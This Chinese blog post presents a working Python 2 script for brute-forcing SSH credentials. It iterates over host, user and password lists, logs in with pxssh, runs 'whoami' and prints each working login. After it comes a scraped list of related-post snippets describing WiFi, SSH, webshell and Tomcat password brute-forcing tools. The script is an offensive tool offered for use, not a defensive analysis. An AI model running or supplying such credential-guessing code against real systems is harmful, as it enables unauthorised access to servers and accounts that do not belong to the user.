ssh爆破(python脚本)

最近在乌云看到一份端口详解:为了锻炼自己,按照端口详解写脚本

#!/usr/local/bin/ python
# -*- coding: UTF-8 -*-

__author__ = ‘yangxiaodi‘

from multiprocessing import Pool
from pexpect import pxssh
import sys
reload(sys)
sys.setdefaultencoding( "utf-8" )

datas=[]
def connect():
    cmd = ‘whoami‘
    for data in datas:
        host = data.split(‘:‘,2)[0]
        user = data.split(‘:‘,2)[1]
        password = data.split(‘:‘,2)[2]
        try:
            s = pxssh.pxssh()
            s.login(host,user,password)
            s.sendline(cmd)
            s.prompt()
            print ‘[+] ssh host:‘+host+‘ user:‘+user+‘ password:‘+password+‘ 执行命令:‘+s.before

        except:
            print u‘错误 [+] ssh host:‘+host+‘ user:‘+user+‘ password:‘+password

def read_file(filepath):
    f = open(filepath).readlines()
    return f

def get_host_user_pass():
    host = read_file(‘host.txt‘)
    for h in host:
        h = h.replace(‘\n‘,‘‘)
        user = read_file(‘user.txt‘)
        for u in user:
            u = u.replace(‘\n‘,‘‘)
            passs = read_file(‘pass.txt‘)
            for pas in passs:
                pas = pas.replace(‘\n‘,‘‘)
                datas.append(h+‘:‘+u+‘:‘+pas)
    return True

resu = []
get_host_user_pass()
p = Pool()
resu.append(p.apply_async(connect,args=()))
p.close()
p.join()
for res in resu:
    print res.get()
print ‘all subprocesses done.‘

  本地要有三个文件  user.txt , host.txt , pass.txt

这次没在脚本做判断,遇到成功的还是继续爆破成功的ip,原因是用了多进程,然后不会改,留到后面再来解决。(有人帮忙吗)

时间: 2024-10-26 17:14:06

ssh爆破(python脚本)的相关文章

一个非常简单易懂的WIFI密码爆破python脚本

环境准备 python2.7 凑合的linux 差不多的无线网卡 pywifi模块 弱口令字典 清除系统中的任何wifi连接记录(非常重要!!!) 首先,这个模块在win下有点鸡肋,作者在调用WLANAPI时没有做好WLAN_SECURITY_ATTRIBUTES的封装,所以推荐在linux下跑,我测试所使用的是Kali 2.0 自带python 2.7.6 ,可直接通过 pip install pywifi 安装. 导入模块 这里用的模块就这三个 pywifi的_wifiutil_linux.

python多线程ssh爆破

python多线程ssh爆破 Python 0x01.About 爆弱口令时候写的一个python小脚本,主要功能是实现使用字典多线程爆破ssh,支持ip表导入,字典数据导入. 主要使用到的是python的paramiko模块和多线程threading模块. 那么,首先要准备的是字典dict.服务器ip表. 东西很简单,主要默认目录如下: |--ssh.scan.py |--/log: sshd |--/dict: ip password ip和password按照一行一个放置. 0x02.Co

python ssh弱口令爆破多线程脚本及遇到的一些错误与问题

练习写了个SSH弱口令爆破多线程脚本,遇到的问题 1.一开始想import pexpect 中的pxssh 然而却一直该有错误, ImportError: cannot import name spawn google了下问题都说的很模糊也不清楚.有的说是pexpect模块没安装好,有的说是python import的问题,因为在lib中已经有了spawn模块,与pexpect模块中的spawn重名了,所以报错.但也都没说清楚该这么弄.最后在here这里看到了问题原因,原来是pexpect根本不

一句话爆破速度提升一千倍python脚本

这个脚本是接地提供的思路,一句话爆破速度提升一千倍,看了他的帖子然而没有看到工具,思路很牛逼,我提供一个Python脚本 本地测试了下,十万密码只需要3秒,速度还是可以的 # coding:utf-8 # __author__ : learn import threading,Queue,requests class Add_password: def __init__(self,dictname,queue): self.dictname = dictname self.queue = que

WEB中间件--tomcat爆破,burp和python脚本

1.tomcat 用burpsuit进行弱口令爆破 先抓包 发送到inturder payload type 选择custom iterater 第一个payload选用户名文件,第二个payload用 : 第三个选密码文件 设置base64加密,和去掉URL编码 开始攻击,得到用户名密码 2.用python脚本进行爆破 目前正在学习python, #!/usr/bin/env python # -*- coding: utf-8 -*- #by.really import sys import

某互联网后台自动化组合测试框架RF+Sikuli+Python脚本

某互联网后台自动化组合测试框架RF+Sikuli+Python脚本 http://www.jianshu.com/p/b3e204c8651a 字数949 阅读323 评论1 喜欢0 一.**RobotFramework 1.**工具介绍:Robotframework在测试中作为组织测试用例和BDD关键字的平台,主要使用RIDE进行管理,它不是一个工具,而仅仅是一个框架,使用Python进行开发,同时支持WEB测试(Selenium).Java GUI 测试,启动线程.终端.SSH等.支持BDD

ssh爆破攻击

[[email protected] ~]# lastb -n 50 help     ssh:notty    218.17.149.227   Sun Jan 24 16:28 - 16:28  (00:00) hdfs     ssh:notty    218.17.149.227   Sun Jan 24 15:16 - 15:16  (00:00) michael  ssh:notty    59-120-151-118.h Sun Jan 24 15:03 - 15:03  (00:

用python 脚本控制telnet登录交换机

目的:学习用python脚本登录交换机并执行相关操作 环境:windows 7  Python 3.5.3 最初原因是因为工作需要在交换机上查询IP地址的来源端口,不停的跳转查看很麻烦,于是决定写脚本,这里只写关于用Python登录和之后的可用方法. telnet是内置模块,模块名telnetlib. # 定义登录的用户名.密码和登录的设备地址 username = 'abc' password = '123' switch_ip = '1.2.3.4' # 连接 tel_con = telne

python脚本实现集群检测和管理

python脚本实现集群检测和管理 场景是这样的:一个生产机房,会有很多的测试机器和生产机器(也就是30台左右吧),由于管理较为混乱导致了哪台机器有人用.哪台机器没人用都不清楚,从而产生了一个想法--利用一台机器来管理所有的机器,记录设备责任人.设备使用状态等等信息....那么,为什么选择python,python足够简单并且拥有丰富的第三方库的支持. 最初的想法 由于刚参加工作不久,对这些东西也都没有接触过,轮岗到某个部门需要做出点东西来(项目是什么还没情况,就要做出东西来,没办法硬着头皮想点